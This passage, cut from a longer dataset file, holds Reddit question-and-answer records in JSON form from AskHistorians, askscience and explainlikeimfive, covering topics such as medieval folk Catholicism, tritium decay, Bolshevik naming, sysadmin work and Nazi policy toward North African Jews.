Seoul.  I travel to Korea from time to time for work and to visit family and friends.  So I keep my eyes on the news, but that doesn't make anything I've said here more than an intelligent guess.\n\n**My best guess is that North Korea will implode.**\n\nSouth Korean citizens are dropping shortwave radios into the North, and North Koreans have been purchasing Chinese cell phones to smuggle back into the South.  This creeping technology will, I believe, eventually trigger a \"North Korean Spring\".  This technology is as damaging to the [Juche philosophy](_URL_4_) as personal computers were to the Soviets, and VCRs and Fax machines were to the Chinese.\n\nThere may come a tipping point due to increased communication with the outside world, and the North Korean leadership will either be forced to change or step down (or both); OR they will try to deflect this revolution by an attempted invasion of the South with some faint hope that China would support them.  (I think that chance is slim.  NK has been burning up their goodwill with China).\n\n**TL;DR  Yes, I absolutely LOVE kimchee.  And Jampong.  Jampong rocks!**\n", "Not a single Starcraft-related joke yet?", "you have been banned from r/pyongyang.", "It all depends on China.   If China sides with North Korea, we're looking at years, possibly a decade, of war, millions dead.   If China looks the other way, it'll be more like the first gulf war, ...only shorter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://geekmag.fr/blog/wp-content/uploads/2008/12/Samsung_SGR-A1-sentry_robot.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.nuclearsecrecy.com/nukemap/"], [], ["http://openscenarios.ida.org/scenarios/270-Stand-off_with_North_Korea.pdf"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://news.google.com/newspapers?nid=2194&amp;dat=19841001&amp;id=UyozAAAAIBAJ&amp;sjid=RO8FAAAAIBAJ&amp;pg=1409,244879", "http://www.performance-vision.com/Korea/5-MilPol.htm", "http://en.wikipedia.org/wiki/Third_Tunnel_of_Aggression", "http://en.wikipedia.org/wiki/Cargo_scanning", "http://en.wikipedia.org/wiki/Juche"], [], [], []]}
{"q_id": "cm38of", "title": "To what extent was medieval \"folk Catholicism\" polytheistic?", "selftext": "I realize that the official theology of the Catholic Church is monotheistic, and that when Catholics pray to the patron saint of something, they're asking for the saint to intercede with God for them, not for the saint to directly change things (as they would if they were praying to a god in a polytheistic religion).\n\nHowever, would the average person in medieval Europe without a religious education have understood that distinction? Would they have known that when they were praying to saints, they were supposed to ask saints to intercede and that saints didn't directly intervene in their lives? Or would they have viewed saints in a more polytheistic way and expected them to directly change the world?\n\nI realize that the answer might be different for different places and times (such as Scandinavia in the 900's vs Italy in the 1300's), and I'm especially in newly Christianized, recently pagan areas and places on the periphery of the Catholic world where Catholic orthodoxy wasn't as strongly enforced as it would have been in Italy or Iberia.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cm38of/to_what_extent_was_medieval_folk_catholicism/", "answers": {"a_id": ["ew2g6za"], "score": [23], "text": ["It's surprisingly hard to say. The big problem is that even near the end of the Middle Ages literacy was **maybe** 10% and maybe as low as 5%. So most of the voices that we encounter with respect to religious life in the Middle Ages are going to be clerical. What do clerical voices tell us?\n\nEvery medieval European -- aside from Jews and Muslims in newly-conquered regions of Spain and Italy (or Muslim merchants in port cities) -- was assumed to be Christian. That means that they're baptized as a baby and, by the twelfth century, assumed to have at least a baseline knowledge of the principles of the Apostles' Creed. After 1215, every Christian was required to go to confession at least once a year and most guides to confession counseled the confessor to ask the penitent if s/he knew his or her Apostles' Creed. So we have a sense that most people identified as Christian, and indeed, there are echoes of this in some dialects of Europe where \"Christian\" means person.\n\nWhich means that most Europeans regarded themselves as Christians. Now then, clergy were intensely worried that there might be syncretic practices creeping into Christianity. We have correspondences of bishops cracking down on \"unauthorized\" sites of worship. And occasionally you see things that are just plain **weird.** We've got, for example, the story of  \u00c9tienne de Bourbon (Stephen of Bourbon), who visited a village in the Lyons area and found people venerating a Saint named Guinefort. He asked further about this saint and found out that this saint was... a dog.\n\nThere was a shrine to a dog-saint named Guinefort. The people had legends that this saint had long ago been the pet greyhound of the lord. While the lord was away from the castle, a serpent got into the baby's nursery, but the dog Guinefort attacked the snake and killed it. But during the fight, the dog had knocked the baby out of the cradle. The lord got home, saw the empty cradle and the dog with blood on his muzzle, and assumed the worst and so killed the dog. Only after he killed the dog was the baby found alive and well. But what is a saint and martyr if not someone killed for doing the right thing? So he was venerated as a saint.\n\nNow, this story is probably a legend attached to much older legend of a dog-deity that looked after children. Indeed, the people who prayed at the shrine of saint Guinefort also carried out practices like tossing their children over a fire or invoking elves to return their child of they thought their child was a changeling. \u00c9tienne rightly noted that these practices were pagan in origin and had the shrine destroyed.\n\nBut here's where it gets important\n\nThese people thought of themselves as Christians. They saw literally no conflict between being a Christian who knew his or her Creed and praying to St. Guinefort. Or look at elves. There should be no place in Christian thought for elves/fairies, but plenty of medieval people figured that there was no conflict between believing in elves and being a Christian.\n\nIndeed, we have a story like that of the Benandanti. In a remote region of northern Italy, you had people who believed that a baby born with a caul was chosen to fight evil witches by leaving their bodies by night. They saw no conflict between being a benandante (one of these person who had out of body fights with witches) and a Christian, and it took decades of the Inquisition torturing people into giving the \"right\" answers to interrogations for these people to confess to just being witches.\n\nWhich is to say that your average medieval peasant would, in general, have seen no problem with carrying out veneration of saints that bordered on out and out idolatry (as a literate churchman would define it) and being a good Christian.\n\nA good way to think of it is that an illiterate medieval peasant would have assumed that at the top of the hierarchy of the universe was the Triune God, but of course you can pray to those other entities like saints or maybe even make offerings to fairies/elves. Churchmen didn't agree, but functionally, thinking of these syncretic practices as \"lingering paganism\" isn't the best idea.\n\nDoes that make sense?\n\nFurther reading:\n\nShinners, John. *Medieval Popular Religion, 1000-1500: A Reader*. 2nd ed. Toronto: Broadview Press, 2008.\n\nThis is a good selection of primary sources covering all kinds of \"popular\" practices of medieval Christians together with a lot of good explanations surrounding the material.\n\nReeves, Andrew. \"Education and Religious Instruction.\" In *The Routledge History of Medieval Christianity,  c.1050-c.1530* , edited by R.N. Swanson, 103-115. London: Routledge, 2015.\n\nA down-and-dirty guide to basic catechesis in medieval Europe.\n\nGinzberg, Carlo. *The Night Battles: Witchcraft and Agrarian Cults in the Sixteenth and Seventeenth Centuries*. Translated by John and Anne C. Tedeschi. Baltimore: Johns Hopkins University Press, 1983.\n\nThe story of the *Benandanti*.\n\nSchmitt, Jean Claude. *The Holy Greyhound: Guinefort, Healer of Children since the Thirteenth Century*. Translated by Martin Thom. Cambridge: Cambridge University Press, 1983.\n\nThe story of St. Guinefort, the Best Boy.\n\nVauche, Andre. *Sainthood in the Later Middle Ages*. Translated by Jean Birrell. Cambridge: Cambridge University Press, 1997.\n\nA basic rundown of the function of sainthood in the later Middle Ages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2qunfy", "title": "How come Helium-3 is stable but Hydrogen-3 isn't?", "selftext": "Helium-3 consists of 2 protons and 1 neutron. Hydrogen-3 consist of 1 proton and 2 neutrons. It seems like He-3 should be much more unstable with two positively charged particles in the nuclei and only 1 neutron binding them together then H-3. Why is He-3 stable and H-3 is not?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2qunfy/how_come_helium3_is_stable_but_hydrogen3_isnt/", "answers": {"a_id": ["cn9puze", "cn9q662", "cn9qu89"], "score": [4, 11, 3], "text": ["\n >   It all has to to do with the conservation of energy and the quantum mechanical dictum 'If something is allowed then it will eventually happen'.  \n If you add up the total energy of a He-3 nucleus, including the rest mass of the constituent protons and neutron as well as the nuclear binding energy, then you will find it is less than that of any possible decay products, for example a deuterium nucleus plus proton.  Energy cannot be conserved therefore this decay is forbidden.  However, the energy of a tritium nucleus is more than that of a He-3 nucleus plus an electron and neutrino.  So it will cheerfully decay into He-3 via a virtual beta decay of neutron to a proton, electron and neutrino. The resulting kinetic energy of the decay products is 18.6 KeV. LeeH\n\n[Source.](_URL_0_)", "The first thing to realize is that, on the subatomic scale, the \"nuclear strong force\" is much, much stronger than electromagnetic repulsion. This is why you can have stable nuclei with dozens of protons in them.\n\nNext, you have to know that neutrons are ever-so-slightly more massive than protons. Because of E = mc^(2), this means that turning a neutron into a proton releases (quite a lot of) energy. That means that neutrons can undergo spontaneous beta-decay to form a proton and an electron.\n\nSo this tells you why He-3 is more stable than H-3, but you're probably wondering at this point why He-3 is more stable than Li-3, if protons are more stable than neutrons! That's because, like how electrons fill orbitals at different energies, nuclear particles fill \"shells\" at different energies. So while the 2nd neutron has enough energy to turn into a proton in H-3, the lone neutron in He-3 doesn't have enough energy to turn into a proton to make He-3 into Li-3.\n\n[Reference](_URL_0_)", "Hydrogen-3 is unstable because Helium-3 is! If one of them has lower mass, something in the higher mass state will decay to the lower mass state, if possible and given enough time. Protons are less massive than neutrons (and ignoring all the binding energy stuff), so a 2-neutron 1-proton nucleus can decay to a 1-neutron 2-proton nucleus through beta emission."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://van.physics.illinois.edu/qa/listing.php?id=16280"], ["https://books.google.com/books?id=v_6PbAfapSAC&amp;lpg=PA112&amp;ots=oqlqw-dfdD&amp;dq=why%20is%20tritium%20unstable&amp;pg=PA110#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "2sqrm0", "title": "would there be any way to \"improve\" the internet if we could start it all over?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sqrm0/eli5_would_there_be_any_way_to_improve_the/", "answers": {"a_id": ["cns0b2w", "cns97il", "cnscr7w"], "score": [91, 3, 2], "text": ["Tons of stuff we could improve on.\n\nFor starters, the early days of the internet were like a small, rural community where nobody locks their cars or homes.  Many of the protocols rely on a fundamentally high level of trust.\n\nWe could build encryption into everything.  We could build out the email system in such a way that servers *don't* implicitly trust the sender to tell the truth about where the mail is coming from.  We could improve DNS to include public keys.  We could build some sort of trusted identity service into the protocols.\n\nWe could scrap the web and start from scratch with a system that's cleanly designed to do what we actually want with it.  The browser was originally designed to handle static pages with a few pictures  &  it's become a graphical, dynamic platform for thin-client applications. HTTP is a horribly inefficient protocol that we could replace with SPDY or something similar.  We could build a sane HTML/CSS replacement.  We could standardized on something more well thought out than Javascript for client-side scripting.  We'd be able to give browsers  &  servers WebSocket-like functionality that's not just a hacked-on afterthought.\n\nWe could probably make some big improvements to TCP/IP as well.  Starting with IPv6 addressing  &  probably building the system around jumbo (or larger) frames that make sense on today's high speed networks.\n\nIf you wanted to be *really* forward looking, you'd probably design a protocol for communicating with other planets that didn't require a full handshake  &  frequent acknowledgement of received packets.  If you're transmitting data over interstellar distances, a 30-minute round-trip time really gets in the way of things.", "Checksums at the end of the packet.\n\nEthernet got it right. 25 years later, IPv6 gets it wrong again.", "We also can't forget our languages would be much different. HTML, CSS, and JavaScript were designed way before the dynamic SPAs on the web today. I'd have to imagine browsers would have built in support for LESS-like (or SASS-like) styling languages and JavaScript would hopefully be given some more thought as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4xbabw", "title": "What do we currently know about possible safety factors used for the construction of ancient structures as well as the margins for material failure ancient civilizations may have been aware of?", "selftext": "For example, did they have a kind of crude knowledge of Poisson's ratio or Hooke's Law even without calculus? Was it literally just trial and error? It seems plausible that they would have had some knowledge of material science since civil engineering is the oldest form of engineering in the world. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4xbabw/what_do_we_currently_know_about_possible_safety/", "answers": {"a_id": ["d6eeuec", "d6efgao", "d6eio9f", "d6exizo"], "score": [7, 4, 2, 2], "text": ["\"No theory of structures existed and understanding of how structures stood up was extremely limited, and based almost entirely on empirical evidence of 'what had worked before'. Knowledge was retained by guilds and seldom supplanted by advances. Structures were repetitive, and increases in scale were incremental.\n\nNo record exists of the first calculations of the strength of structural members or the behaviour of structural material, but the profession of structural engineer only really took shape with the industrial revolution and the re-invention of concrete (see History of concrete). The physical sciences underlying structural engineering began to be understood in the Renaissance and have been developing ever since.\"\n\n_URL_0_\n\n**My speculation (what I would do in their place):**\n\nThere may have been an understanding that a stone column of a certain diameter would be required to safely support a certain weight at a certain height. It would have been straightforward enough to multiply the number of columns according to the weight that you are planning to have them support. (e.g.: 1 standard column can support 1 tonne, and I want to support 2 tonnes so I will need 2 standard columns spaced evenly).\n\nI imagine the same principle could be applied to wooden beams or other structural elements, essentially rules of thumb.\n\nAlso somewhat relevant: I've heard it said that anyone can design something that doesn't collapse. But it takes an engineer to design something that only barely doesn't collapse. This sort of thing comes surprisingly natural to humans. Working as a (modern) engineer myself, one can get pretty decent results by just going off intuition and over engineering things a bit.", "The most advanced method of \"calculating\" a medieval buildings structure was a rope and weights model like [this one](_URL_0_) for the relative recent cathedral Sagrada Familia, so it is a method that was in use even as recent as 1882, when they begun building. This was absolute high-tech back then.", "A good book to read is Structures: or why things don't fall down. By J.E Gordon. It delves into the history of designing all kinds of structures, and it's a very engaging read. Sorry for not linking it as I'm on mobile.", "In lieue of more speculation, I think a good case study for this question would be the Pantheon in Rome\n\n_URL_0_\n\nBuilt two millenia ago, it was the biggest dome in the world for 13 centuries. There must have been sort of system of standards in place even in antiquity to produce something like that. Back to speculation..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/History_of_structural_engineering"], ["https://upload.wikimedia.org/wikipedia/commons/0/09/SagradaFamiliaStatikmodell.jpg"], [], ["https://en.m.wikipedia.org/wiki/Pantheon,_Rome"]]}
{"q_id": "5lijmd", "title": "Why were they called Bolsheviks if they initially had the minority popular support?", "selftext": "So as we know, Bolshevik means \"the majority\" and Menshevik means \"the minority\" in Russian.\n\nHowever, prior to the October Revolution where the Bolsheviks basically took over the country, the Mensheviks had a large popular stance due to it following the traditional Marxist ideology against the bourgeois. **(Am I right here? If not, what exactly was the principle behind the Mensheviks?)\n\nSo why were they called \"the majority\" if the Bolsheviks didn't have the majority of popular support in the first place? (Weren't they just people who supported Leninism/proletariat dictatorship? If not what was their ideology?)\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5lijmd/why_were_they_called_bolsheviks_if_they_initially/", "answers": {"a_id": ["dbwa1bp"], "score": [4], "text": ["The term \"Bolshevik\" pre-dates the October Revolution.  Since you mention the Mensheviks, I assume you're at least passingly familiar with the split between the two factions within the Marxist Russian Social Democratic Labor Party.  The ideological split happened at the Second Party Congress, where the Bolsheviks won a majority of debates and decisions on the issues being discussed at the Congress, and that is where the \"majority\" part of the name comes from.\n\nAlso, a tiny nitpick, your translation of Bolshevik and Menshevik would be more accurate if you said \"one of the majority/minority\", as Bolshevik derives from the Russian \"bolshinstva\" and \"menshistva\" [\"majority\"/\"minority\" as you stated] and the specific terms were the official names of the members of those organizations.  However, nobody would have any trouble understanding what you meant...just for your own knowledge :)\n\nEdit: Sorry, I missed your question about what the Mensheviki held as their principles - I can explain that as well.  You're partially right about the statement on Menshevik beliefs, but I am going to briefly explain it for anyone else interested.\n\nThere were many key issues that caused the two groups to split.  These included the failed 1905 Revolution and the aftermath, philosophical and ideological differences with regards to class leadership, class alliances, and two different interpretations of Marx's historiography method of analyzing history through the lens of a society that has its history/choices/decisions determined by that society's mode of production (in Marxist terms, how the society's potential maximum production interacted with what Marx and Engels called the \"relations of production\"  The relations of production boils down to the collective social agreements and relationships that people have to enter into in order to survive and argues that because this is mandatory, the proletariat will always be at a disadvantage against the bourgeois/capitalist class due to the inherent stability of the economic system in question.\n\nThe Mensheviks were much more moderate than the Bolsheviks and were more cautious in how they wanted to approach the inevitable revolution of the international working class.  It should be pointed out that despite their ideological and philosophical differences, the leaders of both parties (Lenin and Trotsky, to name the most famous) did not really view each other as enemies or treat each other antagonistically.  Despite this, Menshevism was legally banned in the Soviet Union after a failed uprising at the Kronstadt fortress was put down in 1921.  All Mensheviks were required to conform to Bolshevik beliefs and promote Bolshevism. When Lenin's Reds won the Civil War, many of the government officials and leaders of the new Soviet Union were Mensheviks, and Lenin handpicked Trotsky to be his intended successor after his death, but Stalin was much more conniving and cut-throat for Trotsky to be able to get around and Trotsky ended up getting an ice pick in the head for his trouble."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1klqnb", "title": "what is a sys admin and what do they do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1klqnb/eli5_what_is_a_sys_admin_and_what_do_they_do/", "answers": {"a_id": ["cbq86qr", "cbq98mu", "cbqa3qs", "cbqacbl", "cbqae5f", "cbqaldo", "cbqbpy4", "cbqc40q"], "score": [64, 3, 6, 9, 4, 4, 7, 2], "text": ["I work as a sysadmin and to be honest the job varies quite a bit from company to company, but I can give you a pretty basic explanation.\n\nSo let me start here: Every company has a line-level IT guy who runs around fixing computers and deploying them to end-users. That much you might be familiar with.\n\nThe sysadmin is basically \"the next step higher\" of that. (S)he sets up everything on the back-end, which the computers connect to. This includes servers and (sometimes) the company's entire computer network. \n\nWhen the line-level IT guys can't figure something out, or a problem goes beyond their pay grade, they'll usually escalate the problem to the sysadmin. Outlook broken for you? IT guy fixes it. Email broken for the whole company? Sysadmin fixes it.\n\nDepending on the company, their job can be specific to one system, or they might handle lots of different systems. For smaller companies, the sysadmin usually wears a lot of hats and runs a lot of different systems; they might even do help desk as well. For larger companies, there are teams of sysadmins working on individual systems.\n\n\nedit: You can check out /r/sysadmin to get a feel for what we deal with on the day-to-day.", "Computers run all sorts of programs. Very large programs - facebook as an example - require thousands of computers running the various programs that allow you to log in, see your friends, and post content. \n\nDevelopers are in charge of building these programs, and once they are mostly done, they are given to sysadmins to deploy lots of copies. The sysadmin will make sure all the various copies are working correctly and that all the parts do their job. \n\nSystem administrators manage and maintain the many computers that run programs so that developers can focus on building new programs or fixing old ones, and so users can focus on using them. \n\nTL;DR - angry geeks that drink a lot.", "Tech Support Agent is to Plumber as System Administrator is to Water Treatment and Distribution Engineer.\n\nOne deals primarily at the location where the user interacts with the system and the other is in charge of the actual system. \n\nRed-helix's answer is probably the most accurate and I would like to plug /r/sysadmin again except I would like to add that you compare what they do in that sub-reddit to /r/talesfromtechsupport", "A system administrator is a person who does all of the following jobs *at the same time...* but for computers and computer programs instead of for people.\n\n* city planner\n* construction worker\n* medical doctor\n* police investigator\n* firefighter\n* electrician\n* plumber\n* post office worker\n* security guard\n* waste management\n* teacher\n\nLiterally no one knows more about computers than they do.\n\nEdit: [Or, if you prefer, in song form...](_URL_0_)", "I am a relatively new sysadmin, but I will give this a shot. \n\nSysadmins build, monitor and maintain servers for their company.  \nWe are almost always on the backend of IT. I myself run a number of servers that include the following type of programs: remote desktop/pc/ phone support, server antivirus, desktop antivirus, pgp encryption, ticketing systems, dns, domain controllers, server monitoring systems and accounting software. Software is becoming bigger as hardware is changing. \nBack in the day you needed one server box per server software. Say a Dell poweredge for a windows 2003 server. Nowadays with virtualization that has changed drastically.  The company I work for uses vmWare/esx 5.1 and its awesome. Something else we do are updates for our servers, which have to be done at the time that will least affect our users. Say you have to do updates to a windows domain controller, it better be done EARLY in the morning on a Sunday, (least downtime for my company). \n\nTLDR Backend of IT. \n\n", "Sysadmin here:\n\nFuck if I know what my job title is.  If the employees here think that it's IT related, I have to fix it.  One time I even had to edit a video for someone who needed it for a case.  It was weird..\n\nDisclaimer: My job is weird, and not a traditional sysadmin job. I am basically a super sysadmin that also does a shitload of user support...and gets paid like I only do user support.  Hello less than 50k a year!", "Because I'm a big fan of car analogies: The tech support person you talk to when your computer is broken is like an auto mechanic. They make sure your personal vehicle (or computer) is working. \n\nThe system admin is the person who makes sure all the places you're driving to in your town are functional.  We manage the roads and traffic signals (aka network connections), the local grocery store, gym, and shopping plaza (email, shared files, company servers), and make sure that you can get to the highway if you're headed out of town (aka the internet). If there's a new building going up, we're the ones planning and constructing it. If your favorite brand of ice cream is in stock, we're the ones who made sure it got delivered. It's mostly behind-the-scenes work that people aren't aware of, but you'll sure miss it if it's not there.", "Systems Administrator.\n\nThe rest of the comments are pretty much spot on, I just don't remember seeing that broken down.\n\nMy business card says \"Network Engineer\", but I work with mostly small and medium size businesses, so, I'm kind of a network engineer/network administrator/sysadmin and sometimes a help desk resource as well, if our help desk guy is busy.\n\nAs said, it can be stressful and thankless, but I and I'm sure most of us try our best to keep a happy face on.   Regardless of what their job title actually is, please be nice to your IT people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=FE_p5N89XQI"], [], [], [], []]}
{"q_id": "389qno", "title": "Why was Lizzie Borden acquitted of her parents' slaughter?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/389qno/why_was_lizzie_borden_acquitted_of_her_parents/", "answers": {"a_id": ["crtl80s"], "score": [29], "text": ["The short answer is that a jury acquitted her after an hour to an hour-and-a-half of deliberations, so we don't know for sure, but presumably the jury found there was reasonable doubt as to whether she had done it. [[Mary Cantwell, \"Lizzie Borden Took an Ax\", *The New York Times Magazine*, July 26, 1992.]](_URL_0_)  (Cantwell's article also suggests that maybe they just didn't want to hang a woman, but that would be speculation, the same as wondering which particular bit or bits of evidence may have caused the jury's reasonable doubt.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nytimes.com/1992/07/26/magazine/lizzie-borden-took-an-ax.html"]]}
{"q_id": "5wq6hh", "title": "Were Nazis Aware of the Large Jewish Population in Arabia and North Africa?", "selftext": "Also, did they know of the Beta Israel group in Ethiopia?\n\nDid the Nazis have opinions on the Mizrahi Jews? Did they have a plan to \"exterminate\" them?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5wq6hh/were_nazis_aware_of_the_large_jewish_population/", "answers": {"a_id": ["dedggom", "dedhkmi"], "score": [2, 4], "text": ["/u/commiespaceinvader has written an [excellent answer](_URL_0_) that touches upon the poor treatment of North African Jews by the Germans. While DAK's treatment of the region's Jewish population did not rise to the level of Barbarossa, it followed a familiar trajectory of ritualized humiliation, social quarantining, and exploitation that was typical of German policy towards Jews in regions under their control. The relatively small size of DAK and the immediate needs of military operations precluded more ambitious solutions to the Jewish problem in North Africa, but all evidence points to policies along those lines had German arms triumphed in the Middle East. The appointment of SS-Obersturmbannf\u00fchrer Walter Rauff as head of *Einsatzgruppe \u00c4gypten* in the summer of 1942 indicates German policy was aiming towards genocide. Rauff was a specialist in mobile killing operations, whether through shooting or mobile gas vans. Although El Alamein prevented Rauff from engaging in an extermination campaign, the forced-labor camps for Libyan and Tunisian Jews did exact a high death toll.", "The Nazis were indeed aware of the Jews in North Africa and they did have plans and in some cases succeeded in their physical annihilation.\n\nFirst, there is a caveat though: The history of the Jews of North Africa under German and Italian occupation is not a very strongly researched subject for a variety of reasons. On the one hand scholars have long regarded North Africa as a side show for the Holocaust. On the other hand, access source material has been and still is restricted and/or hard to come by. As an example, the files of the German consulate in Libya were not accessible to foreigners during Gaddafi's rule and if they haven't been destroyed during the Civil War, it has gotten much easier to do research in Libya.\n\nWhat is clear is that both in Libya and Tunisia, forced labor camps for Jews, who build fortifications for the Wehrmacht and Italian Army, as well as concentration camps existed, like those in Jado and Beghazi. Furthermore, Wehrmacht soldiers of the Afrika Korps took part in a pogrom against the Jews of Beghazi that left 67 people dead.\n\nIn Tunesia, the situation is more clear. Here the DAK collaborated closely with the Einsatzgruppe North Africa under Walter Rauff of gas van fame. Rauff  and the Wehrmacht collaborated closely in using Jewish forced laborers to build fortifications for the German army and in constructing over 30 concentration camps in Tunisia where more than 2500 Jews perished during the German presence there. Furthermore on July 20, 1942 Rommel issued instructions to Rauff and his Einsatzgruppe that once the Germans had conquered Palestine, it would be the Einsatzgruppe's task to kill the Jews of Palestine. Also, he allowed a Judenrat being established in Tunis and watched on when Wehrmacht soldiers plundered Jewish Ghettos in towns like Tunis and Susse.\n\nIn general, as Mallmann and C\u00fcppers show in their article [Elimination of the Jewish National Home in Palestine\u201d: Thee Einsatzkommando of the Panzer Army Africa, 1942](_URL_1_), the Einsatzgruppe Egypt under Rauff was slated to see action in Palestine, where it is very likely, that they were charged with murdering what Jews they came across there in the style of the Einsatzgruppen in the Soviet Union.\n\nWhere Rauff and his men didn't succeed with regards to Palestine, the Germans as a whole did at least succeed partially in deporting North African Jews to Europe and to their deaths. Albeit only numbering around 5000, many of them did perish in Auschwitz and other camps. Some of them also were deported as hostages to Bergen-Belsen, as this [list accquired by Yad Vashem](_URL_0_) shows.\n\nAs far as can be told, the Nazis did not differentiate between Mizrahi and other Jews, especially since among those deported, there were Mizrahi. As for Ethiopia, I have never come across any reference to them in relevant literature or sources. It is my strong impression that the members of Beta Israel never really figured in Nazi plans, in large part because they could not get a hold of them. It is my educated guess that if they had come across them, they most likely would have started killing them off too. I base this largely on the episode concerning the Juhuro or \"Mountain Jews\" of the Eastern Caucasus and Crimes, which were killed indiscriminately by the Germans when they first came across them. Though the Germans later relaxed that policy on the basis of some pseudo-scientific findings about the supposed origin of the Juhuro and stopped the killing en large (as the only group where this was the case as far as I am aware), they still managed to kill more than a fifth of that group."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4xopgv/did_members_of_the_africa_corps_commit_any/"], ["https://portal.ehri-project.eu/units/il-002798-o_41-1377#desc-eng", "http://147.236.242.122/tomer/Mallmann-Cuppers2.pdf"]]}
{"q_id": "r9gca", "title": "So, it's no surprise that math and science in High School isn't up to par in the US. How would you inspire kids to pursue STEM in life?", "selftext": "I'm working on a project and I would really like any input on how to make mathematics and science more engaging to students. What kind of things would you show them? What fields would you touch on? What would you include on a syllabus?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r9gca/so_its_no_surprise_that_math_and_science_in_high/", "answers": {"a_id": ["c4401mj", "c4404n9", "c440lz1", "c440rn5", "c440sbb", "c44djor"], "score": [2, 2, 5, 2, 3, 3], "text": ["This is kind of a vague question. I don't know if it's entirely scientific. It might be better suited for ask academia.\n\nThe most interesting things in STEM seem to be implementations of it, such as the moon landing. But that was a long time ago.\n\nIf it were me, I would have the students invest in the stock market with an initial sum of money (that they pay for by taking the course). They would learn math by creating mathematical models of the stock-market (curve-matching, derivatives, etc.) or by finding out the failure rate of a product (probability and statistics) or just by looking at success of previous similar products. At the end, the students could keep the amount of money they made that was above the initial amount I gave them.", "What we need is to make science \"cool\".  For that, we need the media to convey that image.\n", "A little bit of background, I was a TA for a 2 college lab courses and the students there had a difficult time with discovery learning and being critical thinkers. Those are really difficult things to teach or uncover in students and I certainly haven't figured it out.\n\nI don't know if it's necessarily a syllabus problem per se, but I think it's moreso a culture problem where we're not brought up to tinker, make, and destroy things. Partly this is for good reason because you can't really fix a lot of things or see how they really work. Disposable culture and all that. The science/engineering students in school now are much different than they were 10 years ago who could fix your car. They're mostly academic and good \"students\", not good thinkers (not a rule, but a generalization).\n\nOne thing that really inspired me was the fact that my parents had me take summer classes and I could really get a feeling for how things worked. Something you could do is work a bit with electronics or LEDs. Those are extremely versatile and I was doing V=IR in 7th grade. Once you start getting into circuits, the math for resistors is really basic but does take problem solving skills and can be as complex as you want. Just figuring out how much voltage to run an LED might be enough, but getting into RC circuits and modeling that could be a problem (though maybe doable depending on your computing resources instead of having them actually solve it). Unfortunately projects often take money / support so finding inexpensive experiments would be your best bet. \n\nWhat I think would be cool is to do something that they're interested in. Like you can touch on shapes / equations and relate it to 3D printing (which is fairly hot now). \n\nHere's a site that talks about teaching science concepts to students in college (tbh, there's not a terribly large intelligence gap sometimes...):\n\n_URL_0_\n\nIf they're interested in a biology take, it would be good to try the DNA bead string exercise (quite simple to understand and works with HS students).  \n\nA friend of mine was quite inspired by even a trip to the local observatory to look at the stars. Had he not been graduating, he may have switched majors, but it was too late by then. :P\n\nA lot of the ideas here aren't quite organized, but the point is that you need something contemporary and topical, but learning based as well. One of the issues is that you as a teacher are going to have to work a lot more with these approaches at first to implement them, so keep that in mind. However, I guarantee that it will be rewarding for you and them if it works out. \n", "We are too busy trying to make things exciting and entertaining. Scientific work is rarely exciting and is mostly tedium. For every big discovery, you have to spend hundreds or thousands of hours of tedious work, trouble shooting, etc. What is needed is to develop students that are patient, calm, and good problem solvers. When we hire people for our lab, we make sure to test their patience on the first day. If they can't do it, then they just aren't fit to work in our lab. ", "More hands on and less theory. I realize how much is involved in learning everything required to major in a STEM field since I've done that myself, but I think a lot of people go into these fields to create something (at least I did). Learning how a computer works from the ground up can be fun, but learning how one works and actually building a simple computer from scratch can be even more so. I think by actually implementing the skills you've learned, you're more confident and motivated to learn more. \n\nThat and making these jobs more respectable. In Europe engineers and architects are well respected people, in the US, not so much. By actually making these majors \"good\" in the sense that people look up to those types of people, kids will more likely think about actually doing it when they grow older and thus more likely to make it an option for a major. \n\nFinally, teach kids about science while they're growing up. Do it on TV. Show them how things work in simple ways and provide them with simple activities so they can implement whatever they've taught on the show. ", "Where are you getting your information that math and science in High School isn't up to par? And compared to who? Asian countries? They choose only a certain top percent to continue past certain checkpoints so by the time they are taking standardized exams it is their best and brightest students compared to all of our students."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bu.edu/ceit/faculty-development/boston-university-fourth-annual-instructional-innovation-conference/boston-university-third-annual-instructional-innovation-conference/"], [], [], []]}
